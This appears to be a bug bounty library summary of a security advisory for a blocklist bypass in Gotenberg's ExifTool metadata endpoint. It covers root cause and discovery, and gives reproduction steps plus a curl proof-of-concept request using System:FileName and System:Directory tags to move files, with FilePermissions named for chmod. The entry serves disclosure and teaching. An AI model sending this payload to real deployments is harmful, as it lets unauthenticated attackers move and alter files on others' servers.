# Gotenberg has an ExifTool Dangerous Tag Blocklist Bypass via Group-Prefixed Tag Names that Allows Arbitrary File Rename and Move

Gotenberg's ExifTool tag blocklist only matches bare names, so `System:FileName`/`System:Directory` bypass it and let unauthenticated attackers rename, move, or chmod files.

- Payout: Research
- Severity: high
- Program: Gotenberg
- Found by: AnuragBathani
- Disclosed: 2026-05-04
- CVE: CVE-2026-40893
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-62p3-hvxx-fxg4
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-62p3-hvxx-fxg4
- Tags: area:web domain:web impact:dos impact:integrity kind:research platform:ghsa sev:high tech:docker technique:incomplete-fix technique:source-review vuln:access-control vuln:misconfiguration vuln:path-traversal

**Target:** Gotenberg HTTP metadata-write and conversion endpoints backed by ExifTool
**Root cause:** Blocklist compares user-supplied metadata keys with strings.EqualFold against bare tag names, ignoring ExifTool's group-prefixed tag syntax (`System:FileName`), and the key regex explicitly allows colons. `FilePermissions` is absent from the blocklist entirely.
**Steps:**
1. Start Gotenberg: `docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8`
2. Create target dir: `docker exec gotenberg-poc mkdir -p /tmp/evil`
3. POST `curl -X POST http://localhost:3000/forms/pdfengines/metadata/write -F 'files=@any-pdf-file.pdf' -F 'metadata={"System:FileName":"stolen.pdf","System:Directory":"/tmp/evil"}'`
4. Observe HTTP 404 (file moved before response) and confirm `docker exec gotenberg-poc ls -la /tmp/evil/` shows `stolen.pdf`
5. Control: bare `{"FileName":"stolen.pdf","Directory":"/tmp/evil"}` returns HTTP 500 (blocked)
6. Variants: lowercase `system:filename`, `system:directory`, and unblocked `FilePermissions` (e.g. `rwxrwxrwx`) also work; same `metadata` field on all conversion routes is affected
**How found:** Reporter read the ExifTool tag blocklist and the EqualFold comparison, noticed the key regex permits colons, and hypothesized that ExifTool's documented group-prefix syntax (`System:Tag`) would resolve to the blocked bare tag while failing the string equality check.
**Exploitation:** Unauthenticated attacker sends one multipart request to any endpoint accepting `metadata`, supplying group-prefixed ExifTool tags; ExifTool renames/moves the uploaded temp file to an attacker-chosen path inside the container, causing 404s and dropping controlled files into shared volumes.
**Escalation:** Shared Docker volumes with other services let the attacker plant controlled PDFs into folders read by other services; FilePermissions allows chmod for further manipulation.
**Insight:** When a denylist guards a third-party tool's identifiers, enumerate that tool's own aliasing/normalization rules (group prefixes, case folding, alternate namespaces) — string equality against canonical names is almost always bypassable, and check for dangerous tags missing from the list entirely.

## Proof of concept (copied exactly from the original report)

**curl request bypassing blocklist with System:FileName**

```
curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F 'files=@any-pdf-file.pdf' \
  -F 'metadata={"System:FileName":"stolen.pdf","System:Directory":"/tmp/evil"}'
```